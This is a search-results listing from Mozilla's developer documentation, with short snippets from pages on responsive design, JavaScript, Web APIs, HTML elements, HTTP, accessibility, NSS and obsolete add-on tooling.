as more diverse screen sizes became available, the concept of responsive web design (rwd) appeared, a set of practices that allows web pages to alter their layout and appearance to suit different screen widths, resolutions, etc.
...as mobile devices became more powerful and able to display full websites, this was frustrating to mobile users who found themselves trapped in the site's mobile version and unable to access information they knew was on the full-featured desktop version of the site.
...in 2004 cameron adams wrote a post entitled resolution dependent layout, describing a method of creating a design that could adapt to different screen resolutions.
...And 38 more matches
Creating hyperlinks - Learn web development
almost any web content can be converted to a link so that when clicked or otherwise activated the web browser goes to another web address (url).
... note: a url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web.
... if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on).
...And 38 more matches
Third-party APIs - Learn web development
this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter.
... note: you might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section.
... they are found on third-party servers browser apis are built into the browser — you can access them from javascript immediately.
...And 38 more matches
Inheritance in JavaScript - Learn web development
getting started first of all, make yourself a local copy of our oojs-class-inheritance-start.html file (see it running live also).
...later you'll see how these can be inherited by other constructors.
... defining a teacher() constructor function the first thing we need to do is create a teacher() constructor — add the following below the existing code: function teacher(first, last, age, gender, interests, subject) { person.call(this, first, last, age, gender, interests); this.subject = subject; } this looks similar to the person constructor in many ways, but there is something strange here that we've not seen before — the call() function.
...And 38 more matches
Handling Mozilla Security Bugs
version 1.1 important: anyone who believes they have found a mozilla-related security vulnerability can and should report it by sending email to address security@mozilla.org.
...at the same time, mozilla.org is also creating a larger "mozilla security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla.
...this work is separate from the work of developers adding new security features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities.
...And 38 more matches
Evolution of HTTP - HTTP
http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
...initially calling it the mesh, it was later renamed to world wide web during its implementation in 1990.
... a client to display (and accidentally edit) these documents, the first web browser called worldwideweb.
...And 38 more matches
Array.prototype.map() - JavaScript
the map() method creates a new array populated with the results of calling a provided function on every element in the calling array.
... syntax let new_array = arr.map(function callback( currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters callback function that is called for every element of arr.
... each time callback executes, the returned value is added to new_array.
...And 38 more matches
Compiling from Rust to WebAssembly - WebAssembly
if you have some rust code, you can compile it into webassembly (wasm).
... rust and webassembly use cases there are two main use cases for rust and webassembly: to build an entire application — an entire web app based in rust.
... to build a part of an application — using rust in an existing javascript frontend.
...And 38 more matches
page-mod - Archive of obsolete content
the sdk calls these scripts "content scripts".
... for example, the following add-on displays an alert whenever the user visits any page hosted at "mozilla.org": var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("page matches ruleset");' }); you can modify the document in your script: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can supply the content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the contentscript option, as above as separate files supplied in your add-on's ...
... if you supply the scripts as separate files in the "data" directory, you specify them using with a url, typically constructed using the url() method of the self module's data object: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: [data.url("jquery-1.7.min.js"), data.url("my-script.js")] }); from firefox 34, you can use "./my-script.js" as an alias for self.data.url("my-script.js").
...And 37 more matches
jpm - Archive of obsolete content
on debian and ubuntu, this can be remedied by ensuring you installed the compatibility package, nodejs-legacy: sudo apt-get install nodejs-legacy on other distributions, you may have to create a local symlink to nodejs manually: sudo ln -s "$(which nodejs)" /usr/local/bin/node installing jpm after you have npm installed and node on your path, install jpm just as you would any other npm package.
... installing jpm globally npm install jpm --global depending on your setup, you might need to run this as an administrator: sudo npm install jpm --global installing jpm locally if you do not wish to, or are unable to, install jpm globally, you may instead install it locally: cd $home && npm install jpm to run jpm from a terminal when installed locally, you must add the directory "$home/node_modules/.bin/" to your terminal's path first.
... add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
...And 37 more matches
Skinning XUL Files by Hand - Archive of obsolete content
in xul, skins are created with cascading style sheets and images.
...in the very near future, it will be possible to skin xul files dynamically and completely -- by pressing a button, selecting a skin from a menu, or by accepting a skin from over the web.
... when this day comes, skins defined in a global skin file will be applied to a whole application -- like the mozilla browser -- so that all the various windows and parts will look consistent.
...And 37 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
regardless of how the back-ends of your web applications are implemented, client side you're using javascript for everything from same form validations to full ajax applications.
... full circle if you were part of the early web's big bang in the mid-1990s you might recall that being able to use javascript both client-side and server-side was core to netscape's original vision for web apps.
... netscape livewire was the first server-side javascript engine.
...And 37 more matches
Sending form data - Learn web development
client/server architecture at it's most basic, the web uses a client/server architecture that can be summarized as follows.
... a client (usually a web browser) sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol.
...on the other hand, if the form is hosted on a secure page but you specify an insecure http url with the action attribute, all browsers display a security warning to the user each time they try to send data because the data will not be encrypted.
...And 37 more matches
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories.
...it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections.
... reducing page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other changes in the page structure.
...And 37 more matches
HTML text fundamentals - Learn web development
previous overview: introduction to html next one of html's main jobs is to give text structure and meaning (also known as semantics) so that a browser can display it correctly.
... this article explains the way html can be used to structure a page of text by adding headings and paragraphs, emphasizing words, creating lists, and more.
...on such occasions, it is advisable to spread the content over multiple pages if possible.
...And 37 more matches
Introduction to web APIs - Learn web development
objective: to gain familiarity with apis, what they can do, and how you can use them in your code.
... application programming interfaces (apis) are constructs made available in programming languages to allow developers to create complex functionality more easily.
... image source: overloaded plug socket by the clear communication people, on flickr.
...And 37 more matches
Gecko Roles
role_titlebar represents a title or caption bar for a window.
... used by msaa only, this is supported automatically by microsoft windows.
... role_scrollbar represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
...And 37 more matches
Embedded Dialog API
posing gecko dialogs in embedding applications problem statement an application embedding gecko cannot tightly control its own windows and still allow gecko to be a fully functional web browser.
... in any single window, gecko can be expected to play nicely within its given boundaries.
...these new windows can be entire new browser windows opened in response to web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser.
...And 37 more matches
Console messages - Firefox Developer Tools
this is not shown by default: you can opt to see timestamps by selecting show timestamps in the console settings menu (gear icon in the console toolbar).
...the following icons may be used: informational message warning error blocked; for network messages in addition, a disclosure triangle indicates that further information is available; clicking it displays or collapses that information.
... number of occurrences if a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered.
...And 37 more matches
WebGLRenderingContext - Web APIs
the webglrenderingcontext interface provides an interface to the opengl es 2.0 graphics rendering context for the drawing surface of an html <canvas> element.
... to get an access to a webgl context for 2d and/or 3d graphics rendering, call getcontext() on a <canvas> element, supplying "webgl" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); once you have the webgl rendering context for a canvas, you can render within it.
... the webgl context the following properties and methods provide general information and functionality to deal with the webgl context: webglrenderingcontext.canvas a read-only back-reference to the htmlcanvaselement.
...And 37 more matches
Taking still photos with WebRTC - Web APIs
this article shows how to use webrtc to access the camera on a computer or mobile phone with webrtc support and take a photo with it.
... you can also jump straight to the code on github if you like.
... the html markup our html interface has two main operational sections: the stream and capture panel and the presentation panel.
...And 37 more matches
WebXR Device API - Web APIs
webxr is a group of standards which are used together to support rendering 3d scenes to hardware designed for presenting virtual worlds (virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar).
... webxr-compatible devices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
... to accomplish these things, the webxr device api provides the following key capabilities: find compatible vr or ar output devices render a 3d scene to the device at an appropriate frame rate (optionally) mirror the output to a 2d display create vectors representing the movements of input controls at the most basic level, a scene is presented in 3d by computing the perspective to apply to the scene in order to render it from the viewpoint of each of the user's eyes by computing the position of each eye and rendering the scene from that position, looking in the direction the user is currently facing.
...And 37 more matches
Migrating from webkitAudioContext - Web APIs
it was first implemented in webkit, and some of its older parts were not immediately removed as they were replaced in the specification, leading to many sites using non-compatible code.
... the web audio standard was first implemented in webkit, and the implementation was built in parallel with the work on the specification of the api.
... as the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to backwards compatibility reasons.
...And 37 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
the source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values.
...perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure.
... in order to provide autocompletion, user-agents might require <input>/<select>/<textarea> elements to: have a name and/or id attribute be descendants of a <form> element the form to have a submit button values "off" the browser is not permitted to automatically enter or select a value for this field.
...And 37 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
the row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements.
...similarly, you can use the rowspan attribute on cells to indicate they should span more than one table row.
... this can take a little practice to get right when building your tables.
...And 37 more matches
JavaScript Object Management - Archive of obsolete content
namespace declaration is best located in a file of its own, so that you have this one js file that should be included in all of your xul files.
...if your add-on is called sergeant pepper, for instance, then sgtpepper would be a good namespace name.
...however, most extensions are small projects by individuals, so these examples follow a more practical approach of having just one namespace with the project name.
...And 36 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
you can include this file in your xul file with the script tag in the same way you would include your own scripts.
...you can look at the contents of these files to see how drag and drop is done at a lower level.
... note that you can only use these libraries from within xul loaded via a chrome url.
...And 36 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
features can also create new menus and attach them almost anywhere, chrome or content, as popup menus or context menus.
...because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("menu"); menus all menus in jetpack are jetpack.menu objects, including both built-in firefox menus and menus that features create.
...if the menu is a context menu, it is called as beforehide(menu, context) and otherwise as beforehide(menu).
...And 36 more matches
Element Positioning - Archive of obsolete content
box element positioning so far, we know how to position elements either horizontally or vertically inside a box.
...the third button is larger because it contains more content.
...the following css properties can be used.
...And 36 more matches
Focus and Selection - Archive of obsolete content
if there are three textboxes on a window, the one that has the focus is the one that the user can currently enter text into.
...the user can change the focus by clicking an element with the mouse or by pressing the tab key.
...to step backwards, the shift key and tab key can be pressed.
...And 36 more matches
prefwindow - Archive of obsolete content
you can open a preference window using a window's opendialog method as with other dialogs.
... you can pass the id of a particular pane as the fourth argument to opendialog to open a specific pane by default.
... you can also set the lastselected attribute on the prefwindow tag to the id of the pane to start with.
...And 36 more matches
Flexbox - Learn web development
the following simple layout requirements are either difficult or impossible to achieve with such tools, in any kind of convenient, flexible way: vertically centering a block of content inside its parent.
...to get started, you should make a local copy of the first starter file — flexbox0.html from our github repo — load it in a modern browser (like firefox or chrome), and have a look at the code in your code editor.
... you can see it live here also.
...And 36 more matches
Object-oriented JavaScript for beginners - Learn web development
we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse more than help.
... objects can contain related data and code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have.
... object data (and often, functions too) can be stored neatly (the official word is encapsulated) inside an object package (which can be given a specific name to refer to, which is sometimes called a namespace), making it easy to structure and access; objects are also commonly used as data stores that can be easily sent across the network.
...And 36 more matches
Creating our first Vue component - Learn web development
along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state.
... note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository.
... your file should now look like this: <template> </template> <script> export default {}; </script> we can now begin to add actual content to our todoitem.
...And 36 more matches
Focus management with Vue refs - Learn web development
the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility.
...specifically, when a user activates the "edit" button, we remove the "edit" button from the dom, but we don't move the user's focus anywhere, so in effect it just disappears.
... this can be disorienting for keyboard and non-visual users.
...And 36 more matches
Client-side tooling overview - Learn web development
overview of modern tooling writing software for the web has become more sophisticated through the ages.
... although it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app.
... it is easy to become overwhelmed by the sheer number of tools that can be included in a single project.
...And 36 more matches
Initial setup
as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local environment (i.e., your personal computer).
... you also need to determine if a localization effort already exists for your locale.
... new or existing before anything else, you need to know if you will be creating a new localization or joining an existing one.
...And 36 more matches
about:memory
perhaps you want to investigate it yourself, or perhaps someone has asked you to use about:memory to generate "memory reports" so they can investigate a problem you are having.
... if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
...(the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately.
...And 36 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
... note: firefox 3 uses nss 3.12, but not the new sqlite-based shareable certificate and key databases.
...see cert.h) cert_encodesubjectkeyid (see certdb/cert.h) cert_encodeusernotice (see cert.h) cert_findcrlentryreasonexten (see cert.h) cert_findcrlnumberexten (see cert.h) cert_findnameconstraintsexten (see cert.h) cert_getclassicocspdisabledpolicy (see cert.h) cert_getclassicocspenabledhardfailurepolicy (see cert.h) cert_getclassicocspenabledsoftfailurepolicy (see cert.h) cert_getpkixverifynistrevocationpolicy (see cert.h) cert_getusepkixforvalidation (see cert.h) cert_getvaliddnspatternsfromcert (see cert.h) cert_newtempcertificate (see cert.h) cert_setocsptimeout (see certhigh/ocsp.h) cert_setusepkixforvalidation (see cert.h) cert_pkixverifycert (see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h...
...And 36 more matches
Tracing JIT
this document is talking about deprecated feature.
... the tracing jit in spidermonkey consists of a generic, low level component called nanojit which is co-maintained between adobe and mozilla, and a spidermonkey-specific high level component called jstracer.
...the recorder records the activity of the interpreter, using nanojit to build an efficient, native representation of the execution called a fragment.
...And 36 more matches
nsIPrincipal
caps/nsiprincipal.idlscriptable provides the interface to a principal, which represents a security context.
... on the web, for example, a typical principal is comprised of an url scheme, host, and port.
...method overview short canenablecapability(in string capability); native code only!
...And 36 more matches
Using the Web Animations API - Web APIs
with the web animations api, we can move interactive animations from stylesheets to javascript, separating presentation from behavior.
...and unlike pure, declarative css, javascript also lets us dynamically set values from properties to durations.
...let's see what it can do!
...And 36 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
in this tutorial, we're going to cover sound creation and modification, as well as timing and scheduling.
...if you're familiar with these terms and you're looking for an introduction to their application within with the web audio api, you've come to the right place.
... note: you can find the source code on github as step-sequencer; see the step-sequencer running live also.
...And 36 more matches
Perceivable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... note: to read the w3c definitions for perceivable and its guidelines and success criteria, see principle 1: perceivable - information and user interface components must be presentable to users in ways they can perceive.
... guideline 1.1 — providing text alternatives for non-text content the key here is that text can be converted to other forms that people with disabilities can use.
...And 36 more matches
Cross-browser audio basics - Developer guides
events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
... mp4 files typically contain aac encoded audio.
... you can use type="audio/mp4".
...And 36 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
unlike <input type="email"> and <input type="url"> , the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world.
... despite the fact that inputs of type tel are functionally identical to standard text inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers.
...ngth, in utf-16 characters, to accept as a valid input minlength the minimum length that is considered valid for the field's contents pattern a regular expression the entered value must match to pass constraint validation placeholder an example value to display inside the field when it has no value readonly a boolean attribute which, if present, indicates that the field's contents should not be user-editable size the number of characters wide the input field should be onscreen list the values of the list attribute is the id of a <datalist> element located in the same document.
...And 36 more matches
Using HTTP cookies - HTTP
WebHTTPCookies
typically, it's used to tell if two requests came from the same browser — keeping a user logged-in, for example.
... cookies are mainly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage.
...cookies are sent with every request, so they can worsen performance (especially for mobile data connections).
...And 36 more matches
Media container formats (file types) - Web media technologies
in this guide, we'll look at the container formats used most commonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.
...see codecs used by webrtc for information about codecs commonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc.
...not all of these are broadly supported by browsers, however; some combinations of container and codec are sometimes given their own file extensions and mime types as a matter of convenience, or because of their ubiquity.
...And 36 more matches
remote/parent - Archive of obsolete content
usage in multiprocess firefox: the browser ui runs in one process, sometimes called the chrome process or the parent process web content runs in one or more other processes, sometimes called content processes or remote processes or child processes.
... by default, add-ons run in the chrome process and can't directly access web content.
... in the sdk, content scripts run in the child process, and, of course, can access web content.
...And 35 more matches
ui/frame - Archive of obsolete content
experimental create html iframes, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
... at the moment you can only add frames to a toolbar.
... usage this module exports the frame constructor, which can be used to create frame components.
...And 35 more matches
Tabbed browser - Archive of obsolete content
of course the entire application firefox is called "a browser".
... getting access to the browser from main window code running in firefox's global chromewindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser.
...you can access gbrowser only after the browser window is fully loaded.
...And 35 more matches
URIs and URLs - Archive of obsolete content
overview handling network and locally retrievable resources is a central part of necko.
...chanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers.
... resource a resource can be anything that has identity.
...And 35 more matches
Commands - Archive of obsolete content
command elements the command element is used to create commands which can be used to carry out operations.
... you don't need to use commands, since you can just call a script to handle things.
... however, a command has the advantage that it can be disabled when needed and can be invoked without needing to know about the details of its implementation.
...And 35 more matches
Using Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
... however, there is a whitelist that lets you specify sites that can still use remote xul.
...issionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
...And 35 more matches
Manipulating documents - Learn web development
in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways.
... objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more.
...And 35 more matches
JSS Provider Notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...netscape has this approval and signs the official builds of jss32.jar.
... at runtime, the jre automatically verifies this signature whenever a jss class is loaded that implements a jce algorithm.
...And 35 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
... this document discusses certificate revocation list management.
...And 35 more matches
imgIDecoderObserver
1.0 66 introduced gecko 12.0 inherits from: imgicontainerobserver last changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications.
... load notifications are fired as the image is loaded from the network or filesystem.
... decode notifications are fired as the image is decoded.
...And 35 more matches
Working with data
these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type.
... there are several ways you can go about creating new cdata objects.
... creating initialized cdata objects similarly, you can initialize cdata objects with specific values at the type of creation by specifying them as a parameter when calling the ctype's constructor, like this: var mycdataobj = new type(value); var mycdataobj = type(value); if the size of the specified type isn't undefined, the specified value is converted to the given type.
...And 35 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
... it can log all object allocations, yielding a stream of javascript call stacks at which allocations have occurred.
... it can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts.
...And 35 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
javascript promises and the mutation observer api both use the microtask queue to run their callbacks, but there are other times when the ability to defer work until the current event loop pass is wrapping up.
...this is a quick, simplified explanation, but if you would like more details, you can read the information in the article in depth: microtasks and the javascript runtime environment.
... tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired.
...And 35 more matches
RTCConfiguration - Web APIs
properties bundlepolicy optional specifies how to handle negotiation of candidates when the remote peer is not compatible with the sdp bundle standard.
... certificates optional an array of objects of type rtccertificate which are used by the connection for authentication.
... if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance.
...And 35 more matches
Background audio processing using AudioWorklet - Web APIs
this was far less than ideal, especially for something that can be as computationally expensive as audio processing.
...an audio context's audio worklet is a worklet which runs off the main thread, executing audio processing code added to it by calling the context's audioworklet.addmodule() method.
... calling addmodule() loads the specified javascript file, which should contain the implementation of the audio processor.
...And 35 more matches
Operable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the operable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
...mouse), so that users that rely on keyboard controls can access them.
... success criteria how to conform to the criteria practical resource 2.1.1 keyboard (a) all functionality should be accessible using keyboard controls, unless it cannot be done using the keyboard (e.g.
...And 35 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api.
... events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a domstring that represents the path to the selected file(s).
...the other files can be identified using the input's htmlinputelement.files property.
...And 35 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
the element is presented as a one-line plain text editor control in which the text is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("*") or a dot ("•").
... specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
... note: the line feed (u+000a) and carriage return (u+000d) characters are not permitted in a password value.
...And 35 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked.
... you can also provide a media type or query inside a media attribute; this resource will then only be loaded if the media condition is true.
...take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as attribute indicating the specific class of content being fetched.
...And 35 more matches
HTTP conditional requests - HTTP
http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator.
... such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server.
... the different behaviors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, which usually tries to fetch a document, the conditional request can be used to send back the document, if relevant only.
...And 35 more matches
String - JavaScript
description strings are useful for holding data that can be represented in text form.
... some of the most-used operations on strings are to check their length, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the indexof() method, or extracting substrings with the substring() method.
... creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
...And 35 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
previous overview: progressive web apps next now that we’ve seen what the structure of js13kpwa looks like and have seen the basic shell up and running, let's look at how the offline capabilities using service worker are implemented.
...they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline.
...this introduces a different approach from traditional web programming — the api is non-blocking, and can send and receive communication between different contexts.
...And 35 more matches
Content Scripts - Archive of obsolete content
instead, sdk add-ons need to factor the code that gets access to web content into separate scripts that are called content scripts.
... content scripts can be one of the more confusing aspects of working with the sdk, but you're very likely to have to use them.
... there are five basic principles: the add-on's main code, including "main.js" and other modules in "lib", can use the sdk high-level and low-level apis, but can't access web content directly content scripts can't use the sdk's apis (no access to globals exports, require) but can access web content sdk apis that use content scripts, like page-mod and tabs, provide functions that enable the add-on's main code to load content scripts into web pages content scripts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory.
...And 34 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
in the case of a toolbaritem element (discussed later), use the title attribute instead of label.
... setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.
...this is very important because the toolbar customization dialog won't work correctly without this.
...And 34 more matches
Setting up an extension development environment - Archive of obsolete content
this article provides suggestions for how to set up your mozilla application for extension development.
... install firefox development extensions specifically for this new developer user profile.
... edit files in the extensions folder of this profile, and restart the application as this new developer profile.
...And 34 more matches
Adding preferences to an extension - Archive of obsolete content
download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension.
... establish the defaults in order to set a default preference for the stock to monitor, we need to add a new folder to our extension's package, called "defaults", which in turn contains another folder called "preferences".
... startup() the stockwatcher.startup() function is called when our extension is first loaded.
...And 34 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect from web pages.
... it was a no-brainer to us that wired news was a perfect candidate for the total conversion to xhtml and css.
...the visual design of wired news and the vignette templates were all sorely stale, and we had no significant effort invested into either for more than two years.
...And 34 more matches
New Skin Notes - Archive of obsolete content
if you go to your user preferences, you can change the skin to "devmo".
... edit page textarea needs to 'scale' better with page width (so large whitespace area's are non-existant), suggest min-width:some-em-size; width: 88%; and max-width set to 95% or something like that.
... --callek i tried this, but it gets totally screwed up in ie for some reason.
...And 34 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...this installer script is relatively short, but it exercises most of the important features of the xpinstall api, and it can easily be used as a template for other more general software installations.
... in this article, we use the unix install file, but the installers for all the platforms are quite similar, and you can easily take what you learn here and apply it to installations on any platform that mozilla supports.
...And 34 more matches
Menus - Archive of obsolete content
menus a menu provides a list of commands that the user can carry out.
...the user may select a command to invoke it, or may cancel the operation by pressing escape or clicking outside the menu.
...these tags can be used to create menus which sit on a menubar or are attached to buttons.
...And 34 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
the autocomplete functionality is handled through one of more session objects, each of which can return a set of results given the current value of the textbox.
... the sessions can be set using the searchsessions attribute or by calling the addsession method.
... file (linux only) the local file system is searched.
...And 34 more matches
Document Object Model - Archive of obsolete content
« previousnext » the document object model (dom) can be used with xul elements to get information about them or modify them.
...when an xul file is loaded, the tags are parsed and converted into a hierarchical document structure of nodes, one for each tag and block of text.
...javascript itself is just a scripting language that can access these objects because mozilla provides these objects for use.
...And 34 more matches
Reference - Archive of obsolete content
